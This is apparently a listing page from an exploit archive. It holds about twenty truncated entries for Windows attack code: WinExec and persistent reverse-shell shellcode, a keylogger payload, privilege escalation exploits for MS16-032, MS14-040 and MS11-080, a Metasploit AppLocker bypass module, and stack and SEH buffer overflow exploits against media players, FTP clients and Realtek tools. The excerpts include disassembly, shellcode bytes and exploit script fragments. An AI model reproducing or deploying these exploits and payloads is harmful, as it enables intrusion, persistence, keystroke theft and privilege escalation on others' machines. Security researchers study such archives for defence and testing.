Windows/x64 - WinExec() Shellcode (93 bytes)

/ Title : Windows x64 WinExec shellcode Date : 15-10-2016 Author : Roziul Hasan Khan Shifat size : 93 bytes Tested on : Windows 7 Ultimate x64 / / Disassembly of section .text: 0000000000000000 : 0: 99 cltd 1: 65 48 8b 42 60 mov %gs:0x60%rdx,%rax 6: 48 8b 40 18 mov 0x18%rax,%rax a: 48 8b 70 10 mo...

Windows/x86 - Persistent Reverse Shell TCP (494 Bytes)

/ Title : Windows x86 persistent reverse shell tcp Author : Roziul Hasan Khan Shifat Date : 04-09-2016 Tested on : Windows 7 x86 / / Note : This program must be run as adminstrator for 1st time . otherwise it won't be persistent / / section .text global start start: xor ecx,ecx mov eax,fs:ecx+0x3...

Halliburton LogView Pro 9.7.5 - '.cgm' / '.tif' / '.tiff' / '.tifh' Crash (PoC)

Exploit Title: Haliburton LogView Pro v9.7.5 Exploit Author: Karn Ganeshen Download link: http://www.halliburton.com/public/lp/contents/InteractiveTools/web/Toolkits/lp/HalliburtonLogViewer.exe Version: Current version 9.7.5 Tested on: Windows Vista Ultimate SP2 Open cgm/tif/tiff/tifh file -...

Windows/x86 - WinExec("cmd.exe",0) Shellcode (184 bytes)

/ Title : Windows x86 WinExec"cmd.exe",0 shellcode Date : 07/06/2016 Author : Roziul Hasan Khan Shifat Tested On : Windows 7 Professional x86 / / To Compile: -------------- $nasm -f win32 winexec.asm -o exec.obj Linking: ---------- $ "C:\Program Files\CodeBlocks\MinGW\bin\ld.exe" -o winexec.exe...

Windows x86 WinExec"cmd.exe",0 Shellcode

Windows x86 WinExec"cmd.exe",0 Shellcode. Shellcode exploit for win32 platform / Title : Windows x86 WinExec"cmd.exe",0 shellcode Date : 07/06/2016 Author : Roziul Hasan Khan Shifat Tested On : Windows 7 Professional x86 / / To Compile: -------------- $nasm -f win32 winexec.asm -o exec.obj Linkin...

All Windows Null-Free Shellcode - Functional Keylogger to File - 601 0x0259 bytes

All Windows Null-Free Shellcode - Functional Keylogger to File - 601 0x0259 bytes. Shellcode exploit for windows platform / ; Exploit Title: All windows null free shellcode - functional keylogger to file - 601 0x0259 bytes ; Date: Sat May 7 19:32:08 GMT 2016 ; Exploit Author: Fugu ; Vendor...

Microsoft Windows 7 10 2008 2012 R2 (x86x64) - Local Privilege Escalation (MS16-032) (PowerShell)

Microsoft Windows 7 10 2008 2012 R2 x86x64 - Local Privilege Escalation MS16-032 PowerShell function Invoke-MS16-032 https://googleprojectzero.blogspot.co.uk/2016/03/exploiting-leaked-thread-handle.html .DESCRIPTION Author: Ruben Boonen @FuzzySec Blog: http://www.fuzzysecurity.com/ License: BSD...

Microsoft Windows 7 < 10 / 2008 < 2012 R2 (x86/x64) - Local Privilege Escalation (MS16-032) (PowerShell)

function Invoke-MS16-032 https://googleprojectzero.blogspot.co.uk/2016/03/exploiting-leaked-thread-handle.html .DESCRIPTION Author: Ruben Boonen @FuzzySec Blog: http://www.fuzzysecurity.com/ License: BSD 3-Clause Required Dependencies: PowerShell v2+ Optional Dependencies: None .EXAMPLE C:\PS...

Microsoft Windows 7 (x64) - afd.sys Dangling Pointer Privilege Escalation (MS14-040)

Microsoft Windows 7 x64 - afd.sys Dangling Pointer Privilege Escalation MS14-040 Exploit Title: MS14-040 - AFD.SYS Dangling Pointer Date: 2016-03-03 Exploit Author: Rick Larabee Vendor Homepage: www.microsoft.com Version: Windows 7, 64 bit Tested on: Win7 x64 afd.sys - 6.1.7601.17514 ntdll.dll -...

AppLocker Execution Prevention Bypass

This module requires Metasploit: http://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework class Metasploit4 'AppLocker Execution Prevention Bypass', 'Description' = %q This module will generate a .NET service executable on the target and utilise InstallUtil to...

QuickHeal 16.00 - webssx.sys Driver Denial of Service

QuickHeal 16.00 - webssx.sys Driver Denial of Service Exploit Title: QuickHeal webssx.sys driver DOS vulnerability Date: 19/02/2016 Exploit Author: Csaba Fitzl Vendor Homepage: http://www.quickheal.co.in/ Version: 16.00 Tested on: Win7x86, Win7x64 CVE : CVE-2015-8285 from ctypes import from...

CDex Genre 1.79 Stack Buffer Overflow

''' Exploit Title: CDex Genre Stack Buffer Overflow Date: 10/9/2015 Exploit Author: UnN0n Software Link: http://cdex.mu/download Version: 1.79 Tested on: Windows 7 x8632 BIT Steps to Produce the Crash: 1- Generate a File by python code mentioned below. 2- Goto...

FileZilla Client 2.2.x - Remote Buffer Overflow (SEH)

Exploit Title: Filezilla client 2.2.X SEH buffer overflow exploit Date: 02/08/2015 Exploit Author: ly0n Vendor Homepage: filezilla-project.org/ Software Link: http://www.oldapps.com/filezilla.php?app=7cdf14e88e9dfa85fb661c1c6e649e90 Version: tested on filezilla 2.2.21 Tested on: Windows XP sp3...

VUPlayer-2.49---(.m3u)

VUPlayer 2.49 .M3u Universal buffer overflow exploit w/ DEP bypass Author: mrme Download: http://vuplayer.com/ Tested on Wind0ws XP SP3 /noexecute=alwayson sc = "\x89\xe1\xd9\xee\xd9\x71\xf4\x58\x50\x59\x49\x49\x49\x49" "\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56"...

Mini-stream-RM-MP3-Converter

Tested on Windows XP SP3 Pro Found By : Cyber-Zone ABDELKHALEK http://www.securityfocus.com/bid/34494 The way exploit written is slightly different than above Vulnerability handler = "ftp://" buff1 = "D" 17418 eip = "\x7D\xA5\x04\x10" 0x1004A57D jmp esp C:\Program...

Realtek-Audio-Microphone-Calibration-1.1.1.6

App. has classic buffer overflow vulnerability it can be triggered by passing too long argument as a startup parameter. Shellcode can by run via classic ret overwrite or SEH Handler overwrite filepath = "C:\ShellCode\MicCal 1.1.1.6 - Exploit.bin" f = openfilepath, "wb" dummy data f.write'\x90'...

ealtek-Audio-Control-Panel-1.0.1.65

App. has classic buffer overflow vulnerability it can be triggered by passing a too long argument as a startup parameter. Shellcode can by run via classic ret overwrite or SEH Handler overwrite filepath = "C:\ShellCode\RTLCPL 1.1.1.6 - Exploit.bin" f = openfilepath, "wb" f.write'BraniX'...

Windows-XP-2003-Afd.sys-Escalation

MS11-080 - CVE-2011-2005 Afd.sys Privilege Escalation Exploit Author: [email protected] - Matteo Memelli HalDispatchTable+0x4+1 from ctypes import windll, CDLL, Structure, byref, sizeof, POINTER, cchar, cshort, cushort, cint, cuint, culong, cvoidp, clong, ccharp from ctypes.wintypes import HANDLE...

BlazeDVD-Pro-player-6.1-Stack-Based-Buffer

BlazeDVD Pro player 6.1 Local stack based buffer overflow Author: PuN1sh3r Email: [email protected] Date: Mon Jul 15 03:01:37 EDT 2013 Vendor link: http://www.blazevideo.com/download.htmm Software Link: http://www.blazevideo.com/download.php?product=BlazeDVDPro App Version: 6.1 $file =...

BulletProof FTP Client 2010 Buffer Overflow

!/usr/bin/python ----------------------------------------------------------------------------- Exploit Title: BulletProof FTP Client 2010 - Buffer Overflow SEH Exploit Date: Sep 05 2014 Vulnerability Discovery: Gabor Seljan Exploit Author: Robert Kugler Software Link: http://www.bpftp.com/ Versio...